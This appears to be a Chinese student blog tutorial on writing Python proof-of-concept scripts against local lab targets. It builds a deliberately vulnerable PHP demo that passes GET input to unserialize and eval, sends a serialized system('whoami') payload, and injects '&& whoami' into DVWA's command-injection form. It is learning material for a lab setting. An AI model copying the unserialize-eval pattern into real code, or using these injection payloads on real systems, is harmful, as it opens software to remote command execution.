网安入门项目:基于Python的自动化测试脚本开发
一、前言
声明:本文所有实验均在本地授权靶场环境(含自建PHP漏洞Demo与DVWA公开安全靶场)中完成,仅用于网络安全技术学习与研究,未涉及任何真实公开漏洞的利用,不包含可被直接用于非法攻击的Payload或工具。
文中涉及的命令注入、PHP反序列化漏洞均为DVWA靶场自带的低级别教学漏洞,无公开CVE/CNVD编号,仅用于自动化渗透测试脚本的开发与验证。
作为一名网安方向的大专生,为了让简历上“基于Python实现自动化POC脚本开发”这段经历真实可落地,我从零开始,完整实践了从基础漏洞Demo到真实靶场自动化利用的全过程。本文将记录我的完整操作,为同方向的初学者提供可直接复现的参考。
环境准备:- Python 3.10+环境
- requests库(pip install requests即可安装)
这里已经安装完成
二、第一阶段:从零搭建PHP反序列化漏洞Demo
这是我整个项目的起点,也是我写的第一个POC脚本的验证环境。
2.1 漏洞环境搭建
我用 phpStudy 快速搭建了PHP+Apache环境,然后在www网站根目录下创建了一个名为 evil.php 的漏洞文件:

<?php
class Demo{
public $cmd;
function __destruct(){
eval($this->cmd);
}
}
$data = $_GET['data'];
unserialize($data);
?>
这个Demo模拟了一个典型的PHP反序列化漏洞,当接收到恶意构造的序列化字符串时,会自动执行 eval 函数里的命令。
2.2 编写自动化POC验证脚本
为了验证这个漏洞,我写了第一个Python脚本 poc.py ,它能自动构造序列化Payload并发送请求:

import requests
# 目标地址
url = "http://127.0.0.1/test/evil.php"
# 构造序列化Payload(执行系统命令)
payload = 'O:4:"Demo":1:{s:3:"cmd";s:13:"system(\'whoami\');";}'
# 拼接带参数的URL
target = url + "?data=" + payload
print("===== 自动化POC开始 =====")
print("目标:", url)
print("Payload:", payload)
try:
r = requests.get(target, timeout=3)
print("\n===== 执行结果 =====")
print("状态码:", r.status_code)
print("回显内容:")
print(r.text)
print("\n✅ 漏洞利用成功!远程命令执行成功!")
except Exception as e:
print("❌ 失败", e)
运行这个脚本后,成功触发了漏洞,证明了我可以通过Python脚本实现对PHP反序列化漏洞的自动化验证。

三、第二阶段:进阶实践——DVWA靶场命令注入自动化利用
为了让项目更接近实战,我把脚本应用到了标准的安全靶场DVWA中,实现了对命令注入漏洞的自动化利用。
3.1 DVWA环境搭建与准备
1. 我将DVWA解压到了 phpStudy 的网站根目录下,访问 http://127.0.0.1/DVWA-2.3 完成初始化。
(这里我使用的是phpstudy2018版的,大家如果已经安装了小皮或者更高版本用自己的即可)

2. 登录DVWA后,将安全级别设置为 Low ,并进入 Command Injection 模块。

3. 关键一步:通过浏览器开发者工具,获取了登录会话的Cookie,
格式如下:plaintext
PHPSESSID=个人会话ID; security=low
3.2 编写DVWA自动化利用脚本
基于之前的经验,我写了第二个更完善的Python脚本 dvwa_poc.py ,专门用于自动化利用DVWA的命令注入漏洞:

import requests
# ===================== 我的配置 =====================
DVWA_ROOT = "http://127.0.0.1/DVWA-2.3"
DVWA_COOKIE = "PHPSESSID=个人会话ID; security=low"
CMD_TO_EXECUTE = "whoami"
# ====================================================
def dvwa_command_injection():
target_url = f"{DVWA_ROOT}/vulnerabilities/exec/"
headers = {
"Cookie": DVWA_COOKIE,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
}
data = {
"ip": f"127.0.0.1 && {CMD_TO_EXECUTE}",
"Submit": "Submit"
}
print("===== DVWA 命令注入自动化POC =====")
print(f"目标地址:{target_url}")
print(f"要执行的命令:{CMD_TO_EXECUTE}")
print("-" * 50)
try:
response = requests.post(
target_url,
headers=headers,
data=data,
timeout=10,
allow_redirects=False
)
print(f"[+] 请求状态码:{response.status_code}")
print("\n[+] 服务器响应内容(前1000字符):")
print(response.text[:1000])
if CMD_TO_EXECUTE in response.text or "127.0.0.1" in response.text:
print("\n✅ 漏洞利用成功!命令已执行!")
else:
print("\n[!] 请检查Cookie和URL配置是否正确。")
except Exception as e:
print(f"❌ 请求失败:{str(e)}")
if __name__ == "__main__":
dvwa_command_injection()
3.3 运行与验证
脚本运行后,状态码返回 200 ,并成功输出了「漏洞利用成功!命令已执行!」,证明我的自动化脚本成功在标准靶场中利用了命令注入漏洞。

四、踩坑记录与问题解决
在实践过程中,我也遇到了不少问题,这里记录下来给大家避坑:
1. URL路径错误:早期因为路径拼接错误导致`302重定向死循环,修正后使用根目录拼接靶场路径解决问题。
2. Cookie过期问题:DVWA的会话Cookie会定时失效,必须在运行脚本前获取最新值。

3. PHP环境警告:遇到的 Array to string conversion 警告是DVWA旧版本代码问题,不影响漏洞利用的核心逻辑。
五、项目总结
通过这次完整的实践,我从零基础到实战,掌握了:
- 基于Python的 requests 库编写自动化POC脚本的完整流程
- PHP反序列化和命令注入漏洞的原理与自动化利用方法
- Cookie伪造、会话维持等Web渗透测试基础技术
- 本地靶场环境搭建与漏洞验证的方法
声明:本文所有内容均为Python安全工具开发与自动化测试技术学习记录,所有实验均在本地授权测试环境(含自建PHP测试环境与DVWA公开教学靶场)中完成,仅用于学习HTTP请求构造、会话维持、响应解析等Web安全开发技术,未涉及任何真实公开漏洞的利用,不包含可被直接用于非法用途的代码或工具。未经他人授权允许,严禁进行任何形式的网络安全行为。
更多推荐

所有评论(0)